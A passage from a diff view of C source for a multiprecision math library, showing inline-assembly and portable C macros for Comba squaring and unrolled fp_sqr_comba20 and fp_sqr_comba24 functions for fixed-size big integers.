:"=r"(c0), "=r"(c1), "=r"(c2):"0"(c0), "1"(c1), "2"(c2), "r"(i), "r"(j):"r2", "r3");
#define SQRADDSC(i, j) \
asm( \
" mulu.d r2,%6,%7 \n\t" \
" mov %0,r2 \n\t" \
" mov %1,r3 \n\t" \
" eor %2,%2 \n\t" \
:"=r"(sc0), "=r"(sc1), "=r"(sc2):"0"(sc0), "1"(sc1), "2"(sc2), "r"(i),"r"(j) : "r2", "r3");
#define SQRADDAC(i, j) \
asm( \
" mulu.d r2,%6,%7 \n\t" \
" add %0,%0,r2 \n\t" \
" adc %1,%1,r3 \n\t" \
" acr %2 \n\t" \
:"=r"(sc0), "=r"(sc1), "=r"(sc2):"0"(sc0), "1"(sc1), "2"(sc2), "r"(i), "r"(j):"r2", "r3");
#define SQRADDDB \
asm( \
" add %0,%0,%3 \n\t" \
" adc %1,%1,%4 \n\t" \
" adc %2,%2,%5 \n\t" \
" add %0,%0,%3 \n\t" \
" adc %1,%1,%4 \n\t" \
" adc %2,%2,%5 \n\t" \
:"=r"(c0), "=r"(c1), "=r"(c2) : "r"(sc0), "r"(sc1), "r"(sc2), "0"(c0), "1"(c1), "2"(c2) : "cc");
#elif defined(TFM_MIPS)
/* MIPS */
#define COMBA_START
#define CLEAR_CARRY \
c0 = c1 = c2 = 0;
#define COMBA_STORE(x) \
x = c0;
#define COMBA_STORE2(x) \
x = c1;
#define CARRY_FORWARD \
do { c0 = c1; c1 = c2; c2 = 0; } while (0);
#define COMBA_FINI
/* multiplies point i and j, updates carry "c1" and digit c2 */
#define SQRADD(i, j) \
asm( \
" multu %6,%6 \n\t" \
" mflo $12 \n\t" \
" mfhi $13 \n\t" \
" addu %0,%0,$12 \n\t" \
" sltu $12,%0,$12 \n\t" \
" addu %1,%1,$13 \n\t" \
" sltu $13,%1,$13 \n\t" \
" addu %1,%1,$12 \n\t" \
" sltu $12,%1,$12 \n\t" \
" addu %2,%2,$13 \n\t" \
" addu %2,%2,$12 \n\t" \
:"=r"(c0), "=r"(c1), "=r"(c2):"0"(c0), "1"(c1), "2"(c2), "r"(i):"$12","$13");
/* for squaring some of the terms are doubled... */
#define SQRADD2(i, j) \
asm( \
" multu %6,%7 \n\t" \
" mflo $12 \n\t" \
" mfhi $13 \n\t" \
\
" addu %0,%0,$12 \n\t" \
" sltu $14,%0,$12 \n\t" \
" addu %1,%1,$13 \n\t" \
" sltu $15,%1,$13 \n\t" \
" addu %1,%1,$14 \n\t" \
" sltu $14,%1,$14 \n\t" \
" addu %2,%2,$15 \n\t" \
" addu %2,%2,$14 \n\t" \
\
" addu %0,%0,$12 \n\t" \
" sltu $14,%0,$12 \n\t" \
" addu %1,%1,$13 \n\t" \
" sltu $15,%1,$13 \n\t" \
" addu %1,%1,$14 \n\t" \
" sltu $14,%1,$14 \n\t" \
" addu %2,%2,$15 \n\t" \
" addu %2,%2,$14 \n\t" \
:"=r"(c0), "=r"(c1), "=r"(c2):"0"(c0), "1"(c1), "2"(c2), "r"(i), "r"(j):"$12", "$13", "$14", "$15");
#define SQRADDSC(i, j) \
asm( \
" multu %6,%7 \n\t" \
" mflo %0 \n\t" \
" mfhi %1 \n\t" \
" xor %2,%2,%2 \n\t" \
:"=r"(sc0), "=r"(sc1), "=r"(sc2):"0"(sc0), "1"(sc1), "2"(sc2), "r"(i),"r"(j) : "cc");
#define SQRADDAC(i, j) \
asm( \
" multu %6,%7 \n\t" \
" mflo $12 \n\t" \
" mfhi $13 \n\t" \
" addu %0,%0,$12 \n\t" \
" sltu $12,%0,$12 \n\t" \
" addu %1,%1,$13 \n\t" \
" sltu $13,%1,$13 \n\t" \
" addu %1,%1,$12 \n\t" \
" sltu $12,%1,$12 \n\t" \
" addu %2,%2,$13 \n\t" \
" addu %2,%2,$12 \n\t" \
:"=r"(sc0), "=r"(sc1), "=r"(sc2):"0"(sc0), "1"(sc1), "2"(sc2), "r"(i), "r"(j):"$12", "$13", "$14");
#define SQRADDDB \
asm( \
" addu %0,%0,%3 \n\t" \
" sltu $10,%0,%3 \n\t" \
" addu %1,%1,$10 \n\t" \
" sltu $10,%1,$10 \n\t" \
" addu %1,%1,%4 \n\t" \
" sltu $11,%1,%4 \n\t" \
" addu %2,%2,$10 \n\t" \
" addu %2,%2,$11 \n\t" \
" addu %2,%2,%5 \n\t" \
\
" addu %0,%0,%3 \n\t" \
" sltu $10,%0,%3 \n\t" \
" addu %1,%1,$10 \n\t" \
" sltu $10,%1,$10 \n\t" \
" addu %1,%1,%4 \n\t" \
" sltu $11,%1,%4 \n\t" \
" addu %2,%2,$10 \n\t" \
" addu %2,%2,$11 \n\t" \
" addu %2,%2,%5 \n\t" \
:"=r"(c0), "=r"(c1), "=r"(c2) : "r"(sc0), "r"(sc1), "r"(sc2), "0"(c0), "1"(c1), "2"(c2) : "$10", "$11");
#else
#define TFM_ISO
/* ISO C portable code */
#define COMBA_START
#define CLEAR_CARRY \
c0 = c1 = c2 = 0;
#define COMBA_STORE(x) \
x = c0;
#define COMBA_STORE2(x) \
x = c1;
#define CARRY_FORWARD \
do { c0 = c1; c1 = c2; c2 = 0; } while (0);
#define COMBA_FINI
/* multiplies point i and j, updates carry "c1" and digit c2 */
#define SQRADD(i, j) \
do { fp_word t; \
t = c0 + ((fp_word)i) * ((fp_word)j); c0 = t; \
t = c1 + (t >> DIGIT_BIT); c1 = t; c2 += t >> DIGIT_BIT; \
} while (0);
/* for squaring some of the terms are doubled... */
#define SQRADD2(i, j) \
do { fp_word t; \
t = ((fp_word)i) * ((fp_word)j); \
tt = (fp_word)c0 + t; c0 = tt; \
tt = (fp_word)c1 + (tt >> DIGIT_BIT); c1 = tt; c2 += tt >> DIGIT_BIT; \
tt = (fp_word)c0 + t; c0 = tt; \
tt = (fp_word)c1 + (tt >> DIGIT_BIT); c1 = tt; c2 += tt >> DIGIT_BIT; \
} while (0);
#define SQRADDSC(i, j) \
do { fp_word t; \
t = ((fp_word)i) * ((fp_word)j); \
sc0 = (fp_digit)t; sc1 = (t >> DIGIT_BIT); sc2 = 0; \
} while (0);
#define SQRADDAC(i, j) \
do { fp_word t; \
t = sc0 + ((fp_word)i) * ((fp_word)j); sc0 = t; \
t = sc1 + (t >> DIGIT_BIT); sc1 = t; sc2 += t >> DIGIT_BIT; \
} while (0);
#define SQRADDDB \
do { fp_word t; \
t = ((fp_word)sc0) + ((fp_word)sc0) + c0; c0 = t; \
t = ((fp_word)sc1) + ((fp_word)sc1) + c1 + (t >> DIGIT_BIT); c1 = t; \
c2 = c2 + ((fp_word)sc2) + ((fp_word)sc2) + (t >> DIGIT_BIT); \
} while (0);
#endif
/* $Source$ */
/* $Revision$ */
/* $Date$ */

View File

@ -0,0 +1,224 @@
#define TFM_DEFINES
#include "fp_sqr_comba.c"
#if defined(TFM_SQR20) && FP_SIZE >= 40
void fp_sqr_comba20(fp_int *A, fp_int *B)
{
fp_digit *a, b[40], c0, c1, c2, sc0, sc1, sc2;
#ifdef TFM_ISO
fp_word tt;
#endif
a = A->dp;
COMBA_START;
/* clear carries */
CLEAR_CARRY;
/* output 0 */
SQRADD(a[0],a[0]);
COMBA_STORE(b[0]);
/* output 1 */
CARRY_FORWARD;
SQRADD2(a[0], a[1]);
COMBA_STORE(b[1]);
/* output 2 */
CARRY_FORWARD;
SQRADD2(a[0], a[2]); SQRADD(a[1], a[1]);
COMBA_STORE(b[2]);
/* output 3 */
CARRY_FORWARD;
SQRADD2(a[0], a[3]); SQRADD2(a[1], a[2]);
COMBA_STORE(b[3]);
/* output 4 */
CARRY_FORWARD;
SQRADD2(a[0], a[4]); SQRADD2(a[1], a[3]); SQRADD(a[2], a[2]);
COMBA_STORE(b[4]);
/* output 5 */
CARRY_FORWARD;
SQRADDSC(a[0], a[5]); SQRADDAC(a[1], a[4]); SQRADDAC(a[2], a[3]); SQRADDDB;
COMBA_STORE(b[5]);
/* output 6 */
CARRY_FORWARD;
SQRADDSC(a[0], a[6]); SQRADDAC(a[1], a[5]); SQRADDAC(a[2], a[4]); SQRADDDB; SQRADD(a[3], a[3]);
COMBA_STORE(b[6]);
/* output 7 */
CARRY_FORWARD;
SQRADDSC(a[0], a[7]); SQRADDAC(a[1], a[6]); SQRADDAC(a[2], a[5]); SQRADDAC(a[3], a[4]); SQRADDDB;
COMBA_STORE(b[7]);
/* output 8 */
CARRY_FORWARD;
SQRADDSC(a[0], a[8]); SQRADDAC(a[1], a[7]); SQRADDAC(a[2], a[6]); SQRADDAC(a[3], a[5]); SQRADDDB; SQRADD(a[4], a[4]);
COMBA_STORE(b[8]);
/* output 9 */
CARRY_FORWARD;
SQRADDSC(a[0], a[9]); SQRADDAC(a[1], a[8]); SQRADDAC(a[2], a[7]); SQRADDAC(a[3], a[6]); SQRADDAC(a[4], a[5]); SQRADDDB;
COMBA_STORE(b[9]);
/* output 10 */
CARRY_FORWARD;
SQRADDSC(a[0], a[10]); SQRADDAC(a[1], a[9]); SQRADDAC(a[2], a[8]); SQRADDAC(a[3], a[7]); SQRADDAC(a[4], a[6]); SQRADDDB; SQRADD(a[5], a[5]);
COMBA_STORE(b[10]);
/* output 11 */
CARRY_FORWARD;
SQRADDSC(a[0], a[11]); SQRADDAC(a[1], a[10]); SQRADDAC(a[2], a[9]); SQRADDAC(a[3], a[8]); SQRADDAC(a[4], a[7]); SQRADDAC(a[5], a[6]); SQRADDDB;
COMBA_STORE(b[11]);
/* output 12 */
CARRY_FORWARD;
SQRADDSC(a[0], a[12]); SQRADDAC(a[1], a[11]); SQRADDAC(a[2], a[10]); SQRADDAC(a[3], a[9]); SQRADDAC(a[4], a[8]); SQRADDAC(a[5], a[7]); SQRADDDB; SQRADD(a[6], a[6]);
COMBA_STORE(b[12]);
/* output 13 */
CARRY_FORWARD;
SQRADDSC(a[0], a[13]); SQRADDAC(a[1], a[12]); SQRADDAC(a[2], a[11]); SQRADDAC(a[3], a[10]); SQRADDAC(a[4], a[9]); SQRADDAC(a[5], a[8]); SQRADDAC(a[6], a[7]); SQRADDDB;
COMBA_STORE(b[13]);
/* output 14 */
CARRY_FORWARD;
SQRADDSC(a[0], a[14]); SQRADDAC(a[1], a[13]); SQRADDAC(a[2], a[12]); SQRADDAC(a[3], a[11]); SQRADDAC(a[4], a[10]); SQRADDAC(a[5], a[9]); SQRADDAC(a[6], a[8]); SQRADDDB; SQRADD(a[7], a[7]);
COMBA_STORE(b[14]);
/* output 15 */
CARRY_FORWARD;
SQRADDSC(a[0], a[15]); SQRADDAC(a[1], a[14]); SQRADDAC(a[2], a[13]); SQRADDAC(a[3], a[12]); SQRADDAC(a[4], a[11]); SQRADDAC(a[5], a[10]); SQRADDAC(a[6], a[9]); SQRADDAC(a[7], a[8]); SQRADDDB;
COMBA_STORE(b[15]);
/* output 16 */
CARRY_FORWARD;
SQRADDSC(a[0], a[16]); SQRADDAC(a[1], a[15]); SQRADDAC(a[2], a[14]); SQRADDAC(a[3], a[13]); SQRADDAC(a[4], a[12]); SQRADDAC(a[5], a[11]); SQRADDAC(a[6], a[10]); SQRADDAC(a[7], a[9]); SQRADDDB; SQRADD(a[8], a[8]);
COMBA_STORE(b[16]);
/* output 17 */
CARRY_FORWARD;
SQRADDSC(a[0], a[17]); SQRADDAC(a[1], a[16]); SQRADDAC(a[2], a[15]); SQRADDAC(a[3], a[14]); SQRADDAC(a[4], a[13]); SQRADDAC(a[5], a[12]); SQRADDAC(a[6], a[11]); SQRADDAC(a[7], a[10]); SQRADDAC(a[8], a[9]); SQRADDDB;
COMBA_STORE(b[17]);
/* output 18 */
CARRY_FORWARD;
SQRADDSC(a[0], a[18]); SQRADDAC(a[1], a[17]); SQRADDAC(a[2], a[16]); SQRADDAC(a[3], a[15]); SQRADDAC(a[4], a[14]); SQRADDAC(a[5], a[13]); SQRADDAC(a[6], a[12]); SQRADDAC(a[7], a[11]); SQRADDAC(a[8], a[10]); SQRADDDB; SQRADD(a[9], a[9]);
COMBA_STORE(b[18]);
/* output 19 */
CARRY_FORWARD;
SQRADDSC(a[0], a[19]); SQRADDAC(a[1], a[18]); SQRADDAC(a[2], a[17]); SQRADDAC(a[3], a[16]); SQRADDAC(a[4], a[15]); SQRADDAC(a[5], a[14]); SQRADDAC(a[6], a[13]); SQRADDAC(a[7], a[12]); SQRADDAC(a[8], a[11]); SQRADDAC(a[9], a[10]); SQRADDDB;
COMBA_STORE(b[19]);
/* output 20 */
CARRY_FORWARD;
SQRADDSC(a[1], a[19]); SQRADDAC(a[2], a[18]); SQRADDAC(a[3], a[17]); SQRADDAC(a[4], a[16]); SQRADDAC(a[5], a[15]); SQRADDAC(a[6], a[14]); SQRADDAC(a[7], a[13]); SQRADDAC(a[8], a[12]); SQRADDAC(a[9], a[11]); SQRADDDB; SQRADD(a[10], a[10]);
COMBA_STORE(b[20]);
/* output 21 */
CARRY_FORWARD;
SQRADDSC(a[2], a[19]); SQRADDAC(a[3], a[18]); SQRADDAC(a[4], a[17]); SQRADDAC(a[5], a[16]); SQRADDAC(a[6], a[15]); SQRADDAC(a[7], a[14]); SQRADDAC(a[8], a[13]); SQRADDAC(a[9], a[12]); SQRADDAC(a[10], a[11]); SQRADDDB;
COMBA_STORE(b[21]);
/* output 22 */
CARRY_FORWARD;
SQRADDSC(a[3], a[19]); SQRADDAC(a[4], a[18]); SQRADDAC(a[5], a[17]); SQRADDAC(a[6], a[16]); SQRADDAC(a[7], a[15]); SQRADDAC(a[8], a[14]); SQRADDAC(a[9], a[13]); SQRADDAC(a[10], a[12]); SQRADDDB; SQRADD(a[11], a[11]);
COMBA_STORE(b[22]);
/* output 23 */
CARRY_FORWARD;
SQRADDSC(a[4], a[19]); SQRADDAC(a[5], a[18]); SQRADDAC(a[6], a[17]); SQRADDAC(a[7], a[16]); SQRADDAC(a[8], a[15]); SQRADDAC(a[9], a[14]); SQRADDAC(a[10], a[13]); SQRADDAC(a[11], a[12]); SQRADDDB;
COMBA_STORE(b[23]);
/* output 24 */
CARRY_FORWARD;
SQRADDSC(a[5], a[19]); SQRADDAC(a[6], a[18]); SQRADDAC(a[7], a[17]); SQRADDAC(a[8], a[16]); SQRADDAC(a[9], a[15]); SQRADDAC(a[10], a[14]); SQRADDAC(a[11], a[13]); SQRADDDB; SQRADD(a[12], a[12]);
COMBA_STORE(b[24]);
/* output 25 */
CARRY_FORWARD;
SQRADDSC(a[6], a[19]); SQRADDAC(a[7], a[18]); SQRADDAC(a[8], a[17]); SQRADDAC(a[9], a[16]); SQRADDAC(a[10], a[15]); SQRADDAC(a[11], a[14]); SQRADDAC(a[12], a[13]); SQRADDDB;
COMBA_STORE(b[25]);
/* output 26 */
CARRY_FORWARD;
SQRADDSC(a[7], a[19]); SQRADDAC(a[8], a[18]); SQRADDAC(a[9], a[17]); SQRADDAC(a[10], a[16]); SQRADDAC(a[11], a[15]); SQRADDAC(a[12], a[14]); SQRADDDB; SQRADD(a[13], a[13]);
COMBA_STORE(b[26]);
/* output 27 */
CARRY_FORWARD;
SQRADDSC(a[8], a[19]); SQRADDAC(a[9], a[18]); SQRADDAC(a[10], a[17]); SQRADDAC(a[11], a[16]); SQRADDAC(a[12], a[15]); SQRADDAC(a[13], a[14]); SQRADDDB;
COMBA_STORE(b[27]);
/* output 28 */
CARRY_FORWARD;
SQRADDSC(a[9], a[19]); SQRADDAC(a[10], a[18]); SQRADDAC(a[11], a[17]); SQRADDAC(a[12], a[16]); SQRADDAC(a[13], a[15]); SQRADDDB; SQRADD(a[14], a[14]);
COMBA_STORE(b[28]);
/* output 29 */
CARRY_FORWARD;
SQRADDSC(a[10], a[19]); SQRADDAC(a[11], a[18]); SQRADDAC(a[12], a[17]); SQRADDAC(a[13], a[16]); SQRADDAC(a[14], a[15]); SQRADDDB;
COMBA_STORE(b[29]);
/* output 30 */
CARRY_FORWARD;
SQRADDSC(a[11], a[19]); SQRADDAC(a[12], a[18]); SQRADDAC(a[13], a[17]); SQRADDAC(a[14], a[16]); SQRADDDB; SQRADD(a[15], a[15]);
COMBA_STORE(b[30]);
/* output 31 */
CARRY_FORWARD;
SQRADDSC(a[12], a[19]); SQRADDAC(a[13], a[18]); SQRADDAC(a[14], a[17]); SQRADDAC(a[15], a[16]); SQRADDDB;
COMBA_STORE(b[31]);
/* output 32 */
CARRY_FORWARD;
SQRADDSC(a[13], a[19]); SQRADDAC(a[14], a[18]); SQRADDAC(a[15], a[17]); SQRADDDB; SQRADD(a[16], a[16]);
COMBA_STORE(b[32]);
/* output 33 */
CARRY_FORWARD;
SQRADDSC(a[14], a[19]); SQRADDAC(a[15], a[18]); SQRADDAC(a[16], a[17]); SQRADDDB;
COMBA_STORE(b[33]);
/* output 34 */
CARRY_FORWARD;
SQRADD2(a[15], a[19]); SQRADD2(a[16], a[18]); SQRADD(a[17], a[17]);
COMBA_STORE(b[34]);
/* output 35 */
CARRY_FORWARD;
SQRADD2(a[16], a[19]); SQRADD2(a[17], a[18]);
COMBA_STORE(b[35]);
/* output 36 */
CARRY_FORWARD;
SQRADD2(a[17], a[19]); SQRADD(a[18], a[18]);
COMBA_STORE(b[36]);
/* output 37 */
CARRY_FORWARD;
SQRADD2(a[18], a[19]);
COMBA_STORE(b[37]);
/* output 38 */
CARRY_FORWARD;
SQRADD(a[19], a[19]);
COMBA_STORE(b[38]);
COMBA_STORE2(b[39]);
COMBA_FINI;
B->used = 40;
B->sign = FP_ZPOS;
memcpy(B->dp, b, 40 * sizeof(fp_digit));
fp_clamp(B);
}
#endif
/* $Source$ */
/* $Revision$ */
/* $Date$ */

View File

@ -0,0 +1,264 @@
#define TFM_DEFINES
#include "fp_sqr_comba.c"
#if defined(TFM_SQR24) && FP_SIZE >= 48
void fp_sqr_comba24(fp_int *A, fp_int *B)
{
fp_digit *a, b[48], c0, c1, c2, sc0, sc1, sc2;
#ifdef TFM_ISO
fp_word tt;
#endif
a = A->dp;
COMBA_START;
/* clear carries */
CLEAR_CARRY;
/* output 0 */
SQRADD(a[0],a[0]);
COMBA_STORE(b[0]);
/* output 1 */
CARRY_FORWARD;
SQRADD2(a[0], a[1]);
COMBA_STORE(b[1]);
/* output 2 */
CARRY_FORWARD;
SQRADD2(a[0], a[2]); SQRADD(a[1], a[1]);
COMBA_STORE(b[2]);
/* output 3 */
CARRY_FORWARD;
SQRADD2(a[0], a[3]); SQRADD2(a[1], a[2]);
COMBA_STORE(b[3]);
/* output 4 */
CARRY_FORWARD;
SQRADD2(a[0], a[4]); SQRADD2(a[1], a[3]); SQRADD(a[2], a[2]);
COMBA_STORE(b[4]);
/* output 5 */
CARRY_FORWARD;
SQRADDSC(a[0], a[5]); SQRADDAC(a[1], a[4]); SQRADDAC(a[2], a[3]); SQRADDDB;
COMBA_STORE(b[5]);
/* output 6 */
CARRY_FORWARD;
SQRADDSC(a[0], a[6]); SQRADDAC(a[1], a[5]); SQRADDAC(a[2], a[4]); SQRADDDB; SQRADD(a[3], a[3]);
COMBA_STORE(b[6]);
/* output 7 */
CARRY_FORWARD;
SQRADDSC(a[0], a[7]); SQRADDAC(a[1], a[6]); SQRADDAC(a[2], a[5]); SQRADDAC(a[3], a[4]); SQRADDDB;
COMBA_STORE(b[7]);
/* output 8 */
CARRY_FORWARD;
SQRADDSC(a[0], a[8]); SQRADDAC(a[1], a[7]); SQRADDAC(a[2], a[6]); SQRADDAC(a[3], a[5]); SQRADDDB; SQRADD(a[4], a[4]);
COMBA_STORE(b[8]);
/* output 9 */
CARRY_FORWARD;
SQRADDSC(a[0], a[9]); SQRADDAC(a[1], a[8]); SQRADDAC(a[2], a[7]); SQRADDAC(a[3], a[6]); SQRADDAC(a[4], a[5]); SQRADDDB;
COMBA_STORE(b[9]);
/* output 10 */
CARRY_FORWARD;
SQRADDSC(a[0], a[10]); SQRADDAC(a[1], a[9]); SQRADDAC(a[2], a[8]); SQRADDAC(a[3], a[7]); SQRADDAC(a[4], a[6]); SQRADDDB; SQRADD(a[5], a[5]);
COMBA_STORE(b[10]);
/* output 11 */
CARRY_FORWARD;
SQRADDSC(a[0], a[11]); SQRADDAC(a[1], a[10]); SQRADDAC(a[2], a[9]); SQRADDAC(a[3], a[8]); SQRADDAC(a[4], a[7]); SQRADDAC(a[5], a[6]); SQRADDDB;
COMBA_STORE(b[11]);
/* output 12 */
CARRY_FORWARD;
SQRADDSC(a[0], a[12]); SQRADDAC(a[1], a[11]); SQRADDAC(a[2], a[10]); SQRADDAC(a[3], a[9]); SQRADDAC(a[4], a[8]); SQRADDAC(a[5], a[7]); SQRADDDB; SQRADD(a[6], a[6]);
COMBA_STORE(b[12]);
/* output 13 */
CARRY_FORWARD;
SQRADDSC(a[0], a[13]); SQRADDAC(a[1], a[12]); SQRADDAC(a[2], a[11]); SQRADDAC(a[3], a[10]); SQRADDAC(a[4], a[9]); SQRADDAC(a[5], a[8]); SQRADDAC(a[6], a[7]); SQRADDDB;
COMBA_STORE(b[13]);
/* output 14 */
CARRY_FORWARD;
SQRADDSC(a[0], a[14]); SQRADDAC(a[1], a[13]); SQRADDAC(a[2], a[12]); SQRADDAC(a[3], a[11]); SQRADDAC(a[4], a[10]); SQRADDAC(a[5], a[9]); SQRADDAC(a[6], a[8]); SQRADDDB; SQRADD(a[7], a[7]);
COMBA_STORE(b[14]);
/* output 15 */
CARRY_FORWARD;
SQRADDSC(a[0], a[15]); SQRADDAC(a[1], a[14]); SQRADDAC(a[2], a[13]); SQRADDAC(a[3], a[12]); SQRADDAC(a[4], a[11]); SQRADDAC(a[5], a[10]); SQRADDAC(a[6], a[9]); SQRADDAC(a[7], a[8]); SQRADDDB;
COMBA_STORE(b[15]);
/* output 16 */
CARRY_FORWARD;
SQRADDSC(a[0], a[16]); SQRADDAC(a[1], a[15]); SQRADDAC(a[2], a[14]); SQRADDAC(a[3], a[13]); SQRADDAC(a[4], a[12]); SQRADDAC(a[5], a[11]); SQRADDAC(a[6], a[10]); SQRADDAC(a[7], a[9]); SQRADDDB; SQRADD(a[8], a[8]);
COMBA_STORE(b[16]);
/* output 17 */
CARRY_FORWARD;
SQRADDSC(a[0], a[17]); SQRADDAC(a[1], a[16]); SQRADDAC(a[2], a[15]); SQRADDAC(a[3], a[14]); SQRADDAC(a[4], a[13]); SQRADDAC(a[5], a[12]); SQRADDAC(a[6], a[11]); SQRADDAC(a[7], a[10]); SQRADDAC(a[8], a[9]); SQRADDDB;
COMBA_STORE(b[17]);
/* output 18 */
CARRY_FORWARD;
SQRADDSC(a[0], a[18]); SQRADDAC(a[1], a[17]); SQRADDAC(a[2], a[16]); SQRADDAC(a[3], a[15]); SQRADDAC(a[4], a[14]); SQRADDAC(a[5], a[13]); SQRADDAC(a[6], a[12]); SQRADDAC(a[7], a[11]); SQRADDAC(a[8], a[10]); SQRADDDB; SQRADD(a[9], a[9]);
COMBA_STORE(b[18]);
/* output 19 */
CARRY_FORWARD;
SQRADDSC(a[0], a[19]); SQRADDAC(a[1], a[18]); SQRADDAC(a[2], a[17]); SQRADDAC(a[3], a[16]); SQRADDAC(a[4], a[15]); SQRADDAC(a[5], a[14]); SQRADDAC(a[6], a[13]); SQRADDAC(a[7], a[12]); SQRADDAC(a[8], a[11]); SQRADDAC(a[9], a[10]); SQRADDDB;
COMBA_STORE(b[19]);
/* output 20 */
CARRY_FORWARD;
SQRADDSC(a[0], a[20]); SQRADDAC(a[1], a[19]); SQRADDAC(a[2], a[18]); SQRADDAC(a[3], a[17]); SQRADDAC(a[4], a[16]); SQRADDAC(a[5], a[15]); SQRADDAC(a[6], a[14]); SQRADDAC(a[7], a[13]); SQRADDAC(a[8], a[12]); SQRADDAC(a[9], a[11]); SQRADDDB; SQRADD(a[10], a[10]);
COMBA_STORE(b[20]);
/* output 21 */
CARRY_FORWARD;
SQRADDSC(a[0], a[21]); SQRADDAC(a[1], a[20]); SQRADDAC(a[2], a[19]); SQRADDAC(a[3], a[18]); SQRADDAC(a[4], a[17]); SQRADDAC(a[5], a[16]); SQRADDAC(a[6], a[15]); SQRADDAC(a[7], a[14]); SQRADDAC(a[8], a[13]); SQRADDAC(a[9], a[12]); SQRADDAC(a[10], a[11]); SQRADDDB;
COMBA_STORE(b[21]);
/* output 22 */
CARRY_FORWARD;
SQRADDSC(a[0], a[22]); SQRADDAC(a[1], a[21]); SQRADDAC(a[2], a[20]); SQRADDAC(a[3], a[19]); SQRADDAC(a[4], a[18]); SQRADDAC(a[5], a[17]); SQRADDAC(a[6], a[16]); SQRADDAC(a[7], a[15]); SQRADDAC(a[8], a[14]); SQRADDAC(a[9], a[13]); SQRADDAC(a[10], a[12]); SQRADDDB; SQRADD(a[11], a[11]);
COMBA_STORE(b[22]);
/* output 23 */
CARRY_FORWARD;
SQRADDSC(a[0], a[23]); SQRADDAC(a[1], a[22]); SQRADDAC(a[2], a[21]); SQRADDAC(a[3], a[20]); SQRADDAC(a[4], a[19]); SQRADDAC(a[5], a[18]); SQRADDAC(a[6], a[17]); SQRADDAC(a[7], a[16]); SQRADDAC(a[8], a[15]); SQRADDAC(a[9], a[14]); SQRADDAC(a[10], a[13]); SQRADDAC(a[11], a[12]); SQRADDDB;
COMBA_STORE(b[23]);
/* output 24 */
CARRY_FORWARD;
SQRADDSC(a[1], a[23]); SQRADDAC(a[2], a[22]); SQRADDAC(a[3], a[21]); SQRADDAC(a[4], a[20]); SQRADDAC(a[5], a[19]); SQRADDAC(a[6], a[18]); SQRADDAC(a[7], a[17]); SQRADDAC(a[8], a[16]); SQRADDAC(a[9], a[15]); SQRADDAC(a[10], a[14]); SQRADDAC(a[11], a[13]); SQRADDDB; SQRADD(a[12], a[12]);
COMBA_STORE(b[24]);
/* output 25 */
CARRY_FORWARD;
SQRADDSC(a[2], a[23]); SQRADDAC(a[3], a[22]); SQRADDAC(a[4], a[21]); SQRADDAC(a[5], a[20]); SQRADDAC(a[6], a[19]); SQRADDAC(a[7], a[18]); SQRADDAC(a[8], a[17]); SQRADDAC(a[9], a[16]); SQRADDAC(a[10], a[15]); SQRADDAC(a[11], a[14]); SQRADDAC(a[12], a[13]); SQRADDDB;
COMBA_STORE(b[25]);
/* output 26 */
CARRY_FORWARD;
SQRADDSC(a[3], a[23]); SQRADDAC(a[4], a[22]); SQRADDAC(a[5], a[21]); SQRADDAC(a[6], a[20]); SQRADDAC(a[7], a[19]); SQRADDAC(a[8], a[18]); SQRADDAC(a[9], a[17]); SQRADDAC(a[10], a[16]); SQRADDAC(a[11], a[15]); SQRADDAC(a[12], a[14]); SQRADDDB; SQRADD(a[13], a[13]);
COMBA_STORE(b[26]);
/* output 27 */
CARRY_FORWARD;
SQRADDSC(a[4], a[23]); SQRADDAC(a[5], a[22]); SQRADDAC(a[6], a[21]); SQRADDAC(a[7], a[20]); SQRADDAC(a[8], a[19]); SQRADDAC(a[9], a[18]); SQRADDAC(a[10], a[17]); SQRADDAC(a[11], a[16]); SQRADDAC(a[12], a[15]); SQRADDAC(a[13], a[14]); SQRADDDB;
COMBA_STORE(b[27]);
/* output 28 */
CARRY_FORWARD;
SQRADDSC(a[5], a[23]); SQRADDAC(a[6], a[22]); SQRADDAC(a[7], a[21]); SQRADDAC(a[8], a[20]); SQRADDAC(a[9], a[19]); SQRADDAC(a[10], a[18]); SQRADDAC(a[11], a[17]); SQRADDAC(a[12], a[16]); SQRADDAC(a[13], a[15]); SQRADDDB; SQRADD(a[14], a[14]);
COMBA_STORE(b[28]);
/* output 29 */
CARRY_FORWARD;
SQRADDSC(a[6], a[23]); SQRADDAC(a[7], a[22]); SQRADDAC(a[8], a[21]); SQRADDAC(a[9], a[20]); SQRADDAC(a[10], a[19]); SQRADDAC(a[11], a[18]); SQRADDAC(a[12], a[17]); SQRADDAC(a[13], a[16]); SQRADDAC(a[14], a[15]); SQRADDDB;
COMBA_STORE(b[29]);
/* output 30 */
CARRY_FORWARD;
SQRADDSC(a[7], a[23]); SQRADDAC(a[8], a[22]); SQRADDAC(a[9], a[21]); SQRADDAC(a[10], a[20]); SQRADDAC(a[11], a[19]); SQRADDAC(a[12], a[18]); SQRADDAC(a[13], a[17]); SQRADDAC(a[14], a[16]); SQRADDDB; SQRADD(a[15], a[15]);
COMBA_STORE(b[30]);
/* output 31 */
CARRY_FORWARD;
SQRADDSC(a[8], a[23]); SQRADDAC(a[9], a[22]); SQRADDAC(a[10], a[21]); SQRADDAC(a[11], a[20]); SQRADDAC(a[12], a[19]); SQRADDAC(a[13], a[18]); SQRADDAC(a[14], a[17]); SQRADDAC(a[15], a[16]); SQRADDDB;
COMBA_STORE(b[31]);
/* output 32 */
CARRY_FORWARD;
SQRADDSC(a[9], a[23]); SQRADDAC(a[10], a[22]); SQRADDAC(a[11], a[21]); SQRADDAC(a[12], a[20]); SQRADDAC(a[13], a[19]); SQRADDAC(a[14], a[18]); SQRADDAC(a[15], a[17]); SQRADDDB; SQRADD(a[16], a[16]);
COMBA_STORE(b[32]);
/* output 33 */
CARRY_FORWARD;
SQRADDSC(a[10], a[23]); SQRADDAC(a[11], a[22]); SQRADDAC(a[12], a[21]); SQRADDAC(a[13], a[20]); SQRADDAC(a[14], a[19]); SQRADDAC(a[15], a[18]); SQRADDAC(a[16], a[17]); SQRADDDB;
COMBA_STORE(b[33]);
/* output 34 */
CARRY_FORWARD;
SQRADDSC(a[11], a[23]); SQRADDAC(a[12], a[22]); SQRADDAC(a[13], a[21]); SQRADDAC(a[14], a[20]); SQRADDAC(a[15], a[19]); SQRADDAC(a[16], a[18]); SQRADDDB; SQRADD(a[17], a[17]);
COMBA_STORE(b[34]);
/* output 35 */
CARRY_FORWARD;
SQRADDSC(a[12], a[23]); SQRADDAC(a[13], a[22]); SQRADDAC(a[14], a[21]); SQRADDAC(a[15], a[20]); SQRADDAC(a[16], a[19]); SQRADDAC(a[17], a[18]); SQRADDDB;
